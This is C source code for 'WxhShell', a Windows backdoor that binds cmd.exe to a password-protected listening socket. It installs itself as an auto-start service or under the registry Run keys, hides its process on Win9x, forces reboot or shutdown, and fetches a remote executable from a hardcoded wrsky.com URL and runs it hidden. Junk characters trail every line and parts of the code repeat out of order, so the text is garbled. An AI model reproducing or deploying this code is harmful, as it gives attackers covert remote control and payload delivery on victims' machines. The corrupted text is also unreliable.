    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w!_6*  
    else { ]WYddiF  
    closesocket(wsh); vJj}$AlI  
    ExitThread(0); Yr)<1.K4,M  
    } <sTY<iVR  
    break; 7S/\;DF  
    } yz7Fe  
  // 获取shell Nr"gj$v  
  case 's': { A$3ll|%j  
    CmdShell(wsh); W"!{f  
    closesocket(wsh); hsAk7KC  
    ExitThread(0); #g#[|c.  
    break; f4;V7DJ  
  } Z~AgZM R  
  // 退出 laRn![[  
  case 'x': { @6kkt~>:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +[Izz~ _p  
    CloseIt(wsh); uOAd$;h@_Z  
    break; X=@bzL;eq  
    } NOSL b];  
  // 离开 Hb3..o:  
  case 'q': { %bp'`B=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^U9b)KA  
    closesocket(wsh); SuA  @S  
    WSACleanup(); cO8yu`4!e  
    exit(1); MX"M2>"pT  
    break; %RX!Pi}5+g  
        } ]T=o>%  
  } h$]nfHi_Q  
  } 14`S9SL{V  
eRm*+l|?  
  // 提示信息 /H*[~b   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l0r^LK$  
} B{K_?ae!  
  } g;~$xXn  
fQxlYD'peb  
  return; Z|B`n SzH  
} Gs/G_E(T  
SveP:uJA[  
// shell模块句柄 %O9P|04]3  
int CmdShell(SOCKET sock)  p ~pl|  
{ "^)$MAZ  
STARTUPINFO si; *7{{z%5Pu  
ZeroMemory(&si,sizeof(si)); h AJ^(|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *SYuq)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4N)45@jk[  
PROCESS_INFORMATION ProcessInfo; F?Fxm*Wa/  
char cmdline[]="cmd"; UNA!vzOb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  _ 'K6S  
  return 0; z s\N)LyM  
} FwV5{-(  
I@kMM12>c  
// 自身启动模式 8iPA^b|sz{  
int StartFromService(void)  z $iI  
{ bo#?,80L}`  
typedef struct TU1W!=Z  
{ 734H{,~  
  DWORD ExitStatus; ikb;,Js  
  DWORD PebBaseAddress; p#N2K{E  
  DWORD AffinityMask; ~ Ofn&[G  
  DWORD BasePriority; IN@ =UAc&  
  ULONG UniqueProcessId; \;Sl5*kr  
  ULONG InheritedFromUniqueProcessId; w&Z.rB?  
}   PROCESS_BASIC_INFORMATION; fskc'%x  
^YB3$:@$U  
PROCNTQSIP NtQueryInformationProcess; )&[ol9+\  
r.' cjUs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o,qUf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O{Z bpa^  
LYuMR,7E  
  HANDLE             hProcess; _6`H `zept  
  PROCESS_BASIC_INFORMATION pbi; +.a->SZ5"  
:n OCs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g6h=Q3@  
  if(NULL == hInst ) return 0; ;y;UgwAM  
M1eM^m8U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :m0 pm@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L;U?s2&Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $*j)ey>  
 eI/@ut}v  
  if (!NtQueryInformationProcess) return 0; ' Uo|@tK  
#TIlM]5%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;It1i`!R  
  if(!hProcess) return 0; `pXPF}T  
wc;^C?PX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]YUst]gu3  
Y+C6+I<3  
  CloseHandle(hProcess); ([NS%  
(/|f6_9!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *X 2dS {  
if(hProcess==NULL) return 0; iwfH~  
={I(i6  
HMODULE hMod; [ z{ }?  
char procName[255]; 8p]Krs:  
unsigned long cbNeeded; "4CO^ B  
rs@qC>_C0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `jT1R!$3F  
qSQsY:]j0  
  CloseHandle(hProcess); t x1(6V&l;  
zLjQ,Lp.I  
if(strstr(procName,"services")) return 1; // 以服务启动 H,)2Ou-Wn  
J6J; !~>_  
  return 0; // 注册表启动 Zb2.o5#}  
} "9,+m$nj  
=BBq K=W.d  
// 主模块 }^PdW3O*m,  
int StartWxhshell(LPSTR lpCmdLine) 4x$Ts %]  
{ \7q>4[  
  SOCKET wsl; AE4>pzBe  
BOOL val=TRUE; Y~ Nt9L  
  int port=0; mam(h{f$  
  struct sockaddr_in door; Ns-3\~QSi  
GTW5f  
  if(wscfg.ws_autoins) Install(); lsOZ%p%fV  
{&h=  
port=atoi(lpCmdLine); @qB1:==@7  
gal.<SVW  
if(port<=0) port=wscfg.ws_port; $u{ 8wF/)  
^S^7 u  
  WSADATA data; *%QTv3{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zg{  
1y.!x~Pi,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SI;SnF'[7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _UUp+Hz  
  door.sin_family = AF_INET; s ]Db<f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k^\>=JTq=  
  door.sin_port = htons(port); 6zJ>n~&(  
=)2!qoE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ea!Znld]  
closesocket(wsl); P26YJMJ'  
return 1; ,IG?(CK|  
} ;%Zn)etu  
d<v)ovQJ]  
  if(listen(wsl,2) == INVALID_SOCKET) { oBzjEv  
closesocket(wsl); d+g+ {p>?  
return 1; _"sFLe{  
} 67dp)X  
  Wxhshell(wsl); si|b>R&Z  
  WSACleanup(); cz$q~)I$  
d=:&tOCg2  
return 0; 0& ?/TSC  
!J+< M~o}  
} l}mzCIw%  
N2`u ]*"0  
// 以NT服务方式启动 J/^|Y6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3,{tGNl|  
{ /yL:_6c-  
DWORD   status = 0; -W XZOdUjs  
  DWORD   specificError = 0xfffffff; ] 73BJ  
VTxLBFK;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hG.~[#[&6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _z \PVTT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ahm@ +/2  
  serviceStatus.dwWin32ExitCode     = 0; 2~SjRIpUw  
  serviceStatus.dwServiceSpecificExitCode = 0; j!QP>AM|`  
  serviceStatus.dwCheckPoint       = 0; vq*)2.  
  serviceStatus.dwWaitHint       = 0; Zk n1@a  
>-YWq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,a?$F1Z-  
  if (hServiceStatusHandle==0) return; |%-:qk4rG  
oj~0zJI  
status = GetLastError(); Y7 `i~K;  
  if (status!=NO_ERROR) S t0AV.N1  
{ 7eekTh, ?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U^{'"x+  
    serviceStatus.dwCheckPoint       = 0; I4^}C;p0?  
    serviceStatus.dwWaitHint       = 0; $NhKqA`0  
    serviceStatus.dwWin32ExitCode     = status; ;&G8e* bM2  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9% AL f 9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mu =H&JC  
    return; b<mxf\b  
  } '1yy&QUZq  
j{u! /FD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rocG;$[  
  serviceStatus.dwCheckPoint       = 0; :$>TeCm  
  serviceStatus.dwWaitHint       = 0; Rw\S-z/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M/mUY  
} :]oRx  
@q]{s+#Xf  
// 处理NT服务事件,比如:启动、停止 T'nQj<dBt:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) naoH685R4  
{ y!?l;xMS  
switch(fdwControl) DEkFmmw   
{ pn6!QpV5  
case SERVICE_CONTROL_STOP: ~wsD g[  
  serviceStatus.dwWin32ExitCode = 0; ?H_'L4Wv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  R)?zL;,x  
  serviceStatus.dwCheckPoint   = 0; ^UAL5}CQt  
  serviceStatus.dwWaitHint     = 0; RxVf:h'l  
  { vS|uN(a.P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `* =Tf  
  } kM T73OI>_  
  return; 2v6QUf  
case SERVICE_CONTROL_PAUSE: DIu rFDQSS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^?)o,djY&  
  break; }$ZcC_  
case SERVICE_CONTROL_CONTINUE: r&t)%R@q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =?/RaK/ w  
  break; *n=NBkq%/!  
case SERVICE_CONTROL_INTERROGATE: xW;-=Q  
  break; GKNH{|B$D  
}; l[q%1-N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Z;?d@6yI  
} -Vi"hSsUP  
@i[z4)"S  
// 标准应用程序主函数  `9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &k+'TcWm  
{ 6n.W5 1g(s  
$MEKt}S  
// 获取操作系统版本 t3)nG8> )  
OsIsNt=GetOsVer(); j&. MT@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FaNH+LPe  
)TBG-<wt  
  // 从命令行安装 \e/'d~F  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9j[%Y?  
/v1Rn*VF!  
  // 下载执行文件 6NV- &0 _  
if(wscfg.ws_downexe) { P#g"c.?;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K~_[[)14b  
  WinExec(wscfg.ws_filenam,SW_HIDE); <|s9@;(I  
} nKJJ7 R L  
uYPdmrPB?l  
if(!OsIsNt) { 8h#/b1\  
// 如果时win9x,隐藏进程并且设置为注册表启动 n(gw%w+\7  
HideProc(); 0vs9# <&V  
StartWxhshell(lpCmdLine); q=5#t~?  
} +FWkhmTv  
else 4 }l,F  
  if(StartFromService()) r2T-=XWB  
  // 以服务方式启动 i[~oMwc&  
  StartServiceCtrlDispatcher(DispatchTable); b0 CtQe  
else P{eL;^I  
  // 普通方式启动 !S[8w9q  
  StartWxhshell(lpCmdLine); |-hzvuSX  
F(8>"(C  
return 0; T6|zT}cb  
} O7shY4Sr  
T3o}%wGW  
_-*Lj;^V  
BC0T[o(f8  
=========================================== x8 sSb:N  
(L?fYSP!  
JU7EC~7|2c  
;wfzlUBC  
63d' fgVp  
L[d 7@  
" P+sxlf:0  
$up.< qzj  
#include <stdio.h> 8Hf!@p6R+  
#include <string.h> xS` %3+|  
#include <windows.h> bmEo5f~C!  
#include <winsock2.h> {|%N  
#include <winsvc.h> %v\0Dm+A  
#include <urlmon.h> ;%Jw9G\h  
|\ j'Z0  
#pragma comment (lib, "Ws2_32.lib") j(!M  
#pragma comment (lib, "urlmon.lib") 2B7X~t>8a  
CUT D]:\  
#define MAX_USER   100 // 最大客户端连接数 2;G^>BP<  
#define BUF_SOCK   200 // sock buffer \+E{8&TH'  
#define KEY_BUFF   255 // 输入 buffer bIP{DxKS  
VpJ/M(UD-  
#define REBOOT     0   // 重启 e uS"C*  
#define SHUTDOWN   1   // 关机 (xJ6 : u  
aD,sx#g0  
#define DEF_PORT   5000 // 监听端口 Efb>ZQ  
bE2^sx`(  
#define REG_LEN     16   // 注册表键长度 k~u$&a  
#define SVC_LEN     80   // NT服务名长度 xT I&X9P  
)eNR4nF  
// 从dll定义API maLKUSgo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uYlC*z{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jR S0(8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ewqfs/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^0 R.U+?+  
<8[BB7  
// wxhshell配置信息 BhkJ >4#  
struct WSCFG { lvIKL!;H  
  int ws_port;         // 监听端口 TdI5{?sW  
  char ws_passstr[REG_LEN]; // 口令 mxhO: .l  
  int ws_autoins;       // 安装标记, 1=yes 0=no (b Q1,y  
  char ws_regname[REG_LEN]; // 注册表键名 @kUCc1LT  
  char ws_svcname[REG_LEN]; // 服务名 u=feR0|8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M-u:8dPu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o+SD(KVn-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SIjdwr!+ZZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sTO*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E)m{m$Hb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {[PoLOCI  
8/*q#j  
}; *z`_U]tP  
h8oG5|Y  
// default Wxhshell configuration $ +;`[b   
struct WSCFG wscfg={DEF_PORT, &'4id[$9  
    "xuhuanlingzhe", 5Ya TE<G  
    1, OWFLw  
    "Wxhshell", pq7G[  
    "Wxhshell", A^2VH$j]+  
            "WxhShell Service", "W;Gv I  
    "Wrsky Windows CmdShell Service", C)`k{(-{  
    "Please Input Your Password: ", n4+l, ~  
  1, /c~z(wv  
  "http://www.wrsky.com/wxhshell.exe", ]'=]=o~4  
  "Wxhshell.exe" u~\u8X3  
    }; S1&mY'c  
dJM)~Ay-  
// 消息定义模块 wp`a:QZ8N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ["4h%{.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &a%|L=FY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xSZgQF~  
char *msg_ws_ext="\n\rExit."; ^ElUU?rX  
char *msg_ws_end="\n\rQuit."; W F<`CQg[  
char *msg_ws_boot="\n\rReboot..."; 40N8?kQ}?  
char *msg_ws_poff="\n\rShutdown..."; =vMFCp;mv  
char *msg_ws_down="\n\rSave to "; EAU6z(X$  
yf+M  
char *msg_ws_err="\n\rErr!"; .`& ($W  
char *msg_ws_ok="\n\rOK!"; mOr>*uR  
Cfu]umZLn  
char ExeFile[MAX_PATH]; tgH@|Kg  
int nUser = 0; y^tuybpZY<  
HANDLE handles[MAX_USER]; q' 77BRD3  
int OsIsNt; O^48c$Apv  
x):cirwkl  
SERVICE_STATUS       serviceStatus; ";yCo0*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7udMF3;>  
Vm6G5QwM  
// 函数声明 H#x=eDU|k  
int Install(void); @dQIl#  
int Uninstall(void); I.TdYSB  
int DownloadFile(char *sURL, SOCKET wsh); Y;d$x}dh  
int Boot(int flag); e.jrX;;$!&  
void HideProc(void); l=U@j T  
int GetOsVer(void); Enn7p9&  
int Wxhshell(SOCKET wsl); IlJ6&9  
void TalkWithClient(void *cs); -?`^^ v  
int CmdShell(SOCKET sock); = ;#?CAa:  
int StartFromService(void); DVt;I$  
int StartWxhshell(LPSTR lpCmdLine); SuU,SE'TX  
n=l>d#}$%T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J`a$"G B.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Aa-L<wZVPt  
fOCLN$x^  
// 数据结构和表定义 4%1sOnl  
SERVICE_TABLE_ENTRY DispatchTable[] = hIu;\dfwk  
{ N|5J-fR&  
{wscfg.ws_svcname, NTServiceMain}, (:Rj:8{  
{NULL, NULL} "2q}G16K  
}; *ndXZ64  
TJ8IYo| D  
// 自我安装 @9g$+_"ZT  
int Install(void) 2apR7  
{ p 9Zi}!  
  char svExeFile[MAX_PATH]; =#dW^ ?p  
  HKEY key; oBiJiPE=`  
  strcpy(svExeFile,ExeFile); o<bZ.t  
`"zXf-qeE  
// 如果是win9x系统,修改注册表设为自启动 GZ,`?  
if(!OsIsNt) { m(SGE,("w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ol7%$:S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TZ{';oU  
  RegCloseKey(key); 0(A`Ia  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Tf~)x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A@xa$!4}  
  RegCloseKey(key); ;`',M6g  
  return 0; <dl:';@a-  
    } 6r{NW9y'  
  } "s[wLclfG  
} 8)HUo?/3  
else { UZ7Zzc#g  
gKoB)n<[  
// 如果是NT以上系统,安装为系统服务 O4J <u-E$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [E<NEl *  
if (schSCManager!=0) =V~p QbZ  
{ 6U5L>sQ  
  SC_HANDLE schService = CreateService 7p*PDoM6`  
  ( VA + ?xk  
  schSCManager, V:HxRMF2X  
  wscfg.ws_svcname, t=o2:p6&  
  wscfg.ws_svcdisp, l Os91+.%  
  SERVICE_ALL_ACCESS, o0nd]"q?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #&<>|m  
  SERVICE_AUTO_START, <y[LdB/a  
  SERVICE_ERROR_NORMAL, 4\ R2\  
  svExeFile, -l)vl<}  
  NULL, [Ak L6  
  NULL, V .+ mK|)  
  NULL, 4H'\nsM  
  NULL, x9Um4!/t  
  NULL }-QFMPXhG  
  ); I^S gWC  
  if (schService!=0) 0'q&7 MV  
  { jez=q  
  CloseServiceHandle(schService); mh&wvT<:{  
  CloseServiceHandle(schSCManager); 6BK-(>c(6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8AL`<8$  
  strcat(svExeFile,wscfg.ws_svcname); /vC|_G|{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =y+gS%o$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J=?`~?Vbo  
  RegCloseKey(key); 7u7`z%  
  return 0; B8A-|S!,U  
    } e>z   
  } EQ< qN<uW  
  CloseServiceHandle(schSCManager); Z./$}tVUG  
} %;S T7  
} E;m]RtvH  
VwJ A  
return 1; DmzK* O{  
} mY6d+  
-yyim;Nj  
// 自我卸载 cW%QKdTQY0  
int Uninstall(void) ! R rk  
{ \cJ?2^Eq  
  HKEY key; Sd[%$)scC  
tNpBRk(}  
if(!OsIsNt) { [ye!3h&]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pY@$N&+W  
  RegDeleteValue(key,wscfg.ws_regname); -u+@5K;^Y  
  RegCloseKey(key); 2tPW1"M.n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~4gOv  
  RegDeleteValue(key,wscfg.ws_regname); *iLlBE  
  RegCloseKey(key); v *'anw&Z  
  return 0; aia`mO]  
  } /`6Y-8e2  
} u NmbR8Mx  
} Ub[SUeBGH  
else { 7\(m n$  
:c75*h`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rdj_3Utv  
if (schSCManager!=0) fv@mA--  
{ 3an9Rb V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YA+jLy6ZL  
  if (schService!=0) 9ZXkuP9vm  
  { \vg(@)$q   
  if(DeleteService(schService)!=0) {  ;IV  
  CloseServiceHandle(schService); H(|n,c  
  CloseServiceHandle(schSCManager); v9*ugu[K9  
  return 0; o,qq*}=  
  } )ZZjuFQJ)  
  CloseServiceHandle(schService); wPr9N}rf  
  } Ygeg[S!7  
  CloseServiceHandle(schSCManager); 8M6 Xd]{%  
} M~/Pk7CC  
} b"4'*<=au  
'%Fg+cZN\  
return 1; t+9[ki  
} -d-vzri  
"Yp:{e  
// 从指定url下载文件 f%,Vplb  
int DownloadFile(char *sURL, SOCKET wsh) %<dvdIB  
{ TEJn;D<1I,  
  HRESULT hr; L i g7Ac,  
char seps[]= "/"; zv%]j0 ?  
char *token; ]S  
char *file; L<D<3g|4  
char myURL[MAX_PATH]; 8NF93tqD6  
char myFILE[MAX_PATH]; 7C;oMh5  
SI)QX\is8  
strcpy(myURL,sURL); srbES6  
  token=strtok(myURL,seps); hZZ  
  while(token!=NULL) R!)3{cjU@  
  { T6ihEb$C  
    file=token; Ppton+?(  
  token=strtok(NULL,seps); mV>l`&K=  
  } we("#s1=  
'@0Z#A  
GetCurrentDirectory(MAX_PATH,myFILE); #}xw *)3  
strcat(myFILE, "\\"); s78MXS?py  
strcat(myFILE, file); rtSG- _[i  
  send(wsh,myFILE,strlen(myFILE),0); ]3D>ai?  
send(wsh,"...",3,0); gPE` mE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iY,Ffu E  
  if(hr==S_OK) ZA1:Y{ V  
return 0; ']bw37_U,  
else ! V^wq]D2  
return 1; AONEUSxJ  
:  I q  
} '^|u\$&U  
M&[bb $00j  
// 系统电源模块 8NZQTRdH  
int Boot(int flag) :~^_*:  
{ vZiuElxKi  
  HANDLE hToken; | V: 9 ][\  
  TOKEN_PRIVILEGES tkp; :kMF.9U:  
W(jOD,QMB  
  if(OsIsNt) { }/bxe0px  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1a gNwFd~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )5[OG7/g  
    tkp.PrivilegeCount = 1; yR3pK 0Y(?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mOC<a7#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (-D^_*f  
if(flag==REBOOT) { F$sDmk#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [%c5MQ?H  
  return 0; _|Uv7>}J^  
} _j\GA6  
else { XN^l*Q?3n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =vs]Kmm  
  return 0; /2f  
} RVN;j4uMg  
  } fsjCu!  
  else { y9Q #%a8V  
if(flag==REBOOT) { ~tc,p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !AXt6z cZ  
  return 0; b!<\#[ A4  
} ]*Cq'<h$  
else { '" 4;;(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [C#H _y(  
  return 0; r!<)CT}D  
} diWi0@  
}  ID]E3K  
vbh 5  
return 1; L9$`zc  
} ew.jsa`TrW  
`N}aV Ns  
// win9x进程隐藏模块 PX- PVW  
void HideProc(void) 2C Fgit  
{ V7"^.W*  
F{G.dXZZ<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zCdcwTe  
  if ( hKernel != NULL ) p:;`X!  
  { %Ze]6TP/><  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w{WEYS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L O;?#e7  
    FreeLibrary(hKernel); b%QcB[k[WB  
  } TCR|wi] kW  
$(]E$ek  
return; P,rD{ 0~  
} *.6m,QqJ(  
der\"?_.  
// 获取操作系统版本  y 2C Jk~  
int GetOsVer(void) Q*N{3G!  
{ R $@$  
  OSVERSIONINFO winfo; "-Yj~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ES\=MO5a7  
  GetVersionEx(&winfo); S}P rgw/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mb>8=hMg  
  return 1; f+lPQIB  
  else )A$xt)}P!{  
  return 0; \ZtKaEXnx  
} af'gk&%  
/PKu",Azj  
// 客户端句柄模块 LC4W?']/  
int Wxhshell(SOCKET wsl) $-p9cyk  
{ feJl[3@tO  
  SOCKET wsh; !'#GdRstv  
  struct sockaddr_in client; @\WeI"^F8  
  DWORD myID; %i.Prckrb  
fZp3g%u  
  while(nUser<MAX_USER) 9>@Vk vpY  
{ R2A#2{+H  
  int nSize=sizeof(client); X4<Y5?&0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {TZV^gT4  
  if(wsh==INVALID_SOCKET) return 1; DB+oCE<.#  
bao"iv~z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W]5Hc|!^^  
if(handles[nUser]==0) w$Z%RF'p  
  closesocket(wsh); e^}@X[*'#  
else L6"V=^Bq  
  nUser++; kEp{L  
  } j[A:So  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :Y|[?;  
r&+w)U~  
  return 0; c,:nWf  
} 81H9d6hqcD  
S%j W} v';  
// 关闭 socket )b1X6w[  
void CloseIt(SOCKET wsh) J$U_/b.mk  
{ \YSprXe  
closesocket(wsh); 1H?I?IT30  
nUser--; w*]FJ-b<.j  
ExitThread(0); HQNpf1=D  
} [tRb{JsUd  
~RH)iI  
// 客户端请求句柄 cua( w  
void TalkWithClient(void *cs) n1x"B>3  
{ WXY-]ir.  
M.HMn N#  
  SOCKET wsh=(SOCKET)cs; S0tkqA4  
  char pwd[SVC_LEN]; 0g;)je2_2?  
  char cmd[KEY_BUFF]; Z]w?RL  
char chr[1]; qLPuKIF  
int i,j; V%B~ q`4  
-Iis/Xw:  
  while (nUser < MAX_USER) { y\ })C-&  
gT(8.<h8  
if(wscfg.ws_passstr) { 8Wo!NG:V5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cbYQ';{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <kk!nsI  
  //ZeroMemory(pwd,KEY_BUFF); ,pY:kQ  
      i=0; G^';9 UK  
  while(i<SVC_LEN) { EywBT  
G)q;)n;*=  
  // 设置超时 ia (&$a8X  
  fd_set FdRead; ROXa/  
  struct timeval TimeOut; ~uV(/?o%  
  FD_ZERO(&FdRead); 1IlOU|4  
  FD_SET(wsh,&FdRead); PuhvJHT  
  TimeOut.tv_sec=8; Omi/sKFMi  
  TimeOut.tv_usec=0; I9dX\w}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =ym<yI<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :G#+ 5 }  
cvQAo|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {9@u:(<X9  
  pwd=chr[0]; UmArl)R/  
  if(chr[0]==0xd || chr[0]==0xa) { nwMq~I*1  
  pwd=0; _ds;:*N+qA  
  break; %E"v@  
  } {VXucGI|  
  i++; UZs'H"K  
    } G{{M' 1  
0":k[y  
  // 如果是非法用户,关闭 socket [RF]lM]w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |?]doBm|  
} VkO*+"cGv  
Abi(1nXdQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m\XG7uo~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hzU(XW  
. :>e"D  
while(1) { #WJ*)$A@&  
1{wbC)  
  ZeroMemory(cmd,KEY_BUFF); xQ2: tY#?  
CB X}_]9X  
      // 自动支持客户端 telnet标准   1 +Ue m  
  j=0; 1J72*`4OK  
  while(j<KEY_BUFF) { S;y4Z:!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E [6:}z<  
  cmd[j]=chr[0]; 6^!fuIZ;_  
  if(chr[0]==0xa || chr[0]==0xd) { C,A/29R,s  
  cmd[j]=0; 4UUbX  
  break; #a2gRg  
  } ($>m]|  
  j++; ->X>h_k.Y  
    } \*Yr&Lm  
N!MDD?0  
  // 下载文件 1/~=61msc  
  if(strstr(cmd,"http://")) { L`e19I$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 74a@/'WbE  
  if(DownloadFile(cmd,wsh)) oam;hmw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o(H.1ESk  
  else Vh>cV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rlA/eQrS  
  } s2GF*{  
  else { QQ_7Q^  
2P)O 0j\/  
